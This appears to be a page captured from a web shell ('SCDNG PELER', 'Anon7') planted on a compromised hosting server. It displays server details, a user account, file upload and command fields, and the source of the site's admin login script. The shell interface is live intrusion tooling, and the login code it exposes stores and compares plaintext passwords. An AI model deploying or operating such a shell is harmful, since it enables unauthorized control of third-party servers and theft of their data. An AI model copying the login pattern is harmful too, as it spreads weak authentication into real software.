SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.138
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home5/rakcha/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home5/rakcha/public_html/admin//index.php
 

<?php session_start();?>

<?php 

 include("includes/database.php");

 ?>

 <!DOCTYPE html>

<html>



<head>

    <meta charset="utf-8" />

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta content="width=device-width, initial-scale=1" name="viewport" />

    <meta name="description" content="RAKCHA | Dashboard" />

    <meta name="author" content="RAKCHA | Dashboard" />

    <title>RAKCHA | Dashboard</title>

    <!-- google font -->

    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700" rel="stylesheet" type="text/css" />

	<!-- icons -->

    <link href="assets/plugins/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>

	<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">

    <!-- bootstrap -->

	<link href="assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" />

    <!-- style -->

    <link rel="stylesheet" href="assets/css/pages/extra_pages.css">

	<!-- favicon -->

    <link rel="shortcut icon" href="assets/img/favicon.ico" /> 

</head>

<body>

    <div class="form-title">

        

    </div>

    <!-- Login Form-->

    <div class="login-form text-center">

        <div class="toggle" style="opacity: 0;"><i class="fa fa-user-plus"></i>

        </div>

        <div class="form formLogin" style="padding-top: 10px;">

            <img src="../images/resources/logo.png" style="max-width:70px;padding-bottom: 10px;">

            <h2>Login to your account</h2>

            <form action="index.php" method="POST">

                <input type="text" placeholder="Username" name="user_name" required />

                <input type="password" placeholder="Password" name="password" required />

                <button type="submit" name="login">Login</button>

               

            </form>

        </div>

        

    </div>

    <!-- start js include path -->

    <script src="assets/plugins/jquery/jquery.min.js" ></script>

    <script src="assets/js/pages/extra_pages/pages.js" ></script>

    <!-- end js include path -->

</body>



</html>

<?php 

 // login

    if (isset($_POST['login'])) {

        $admin_name = mysqli_real_escape_string($con, $_POST['user_name']);

        $admin_password = mysqli_real_escape_string($con, $_POST['password']);

        $encrypt = md5($admin_password);

      

      

 

      $admin_query = "select * from admin where admin_name = '$admin_name' AND admin_password = '$admin_password'";

      $run = mysqli_query($con,$admin_query);

      if (mysqli_num_rows($run)>0) {

        $_SESSION['admin_name'] = $admin_name;

        echo "<script>window.open('main_home.php','_self')</script>";

      }

      else {

        echo "<script>alert('please enter correct user name password')</script>";

        exit;

      }

     }

     //end_login



     



 ?>

Anon7 - 2022
SCDN GOK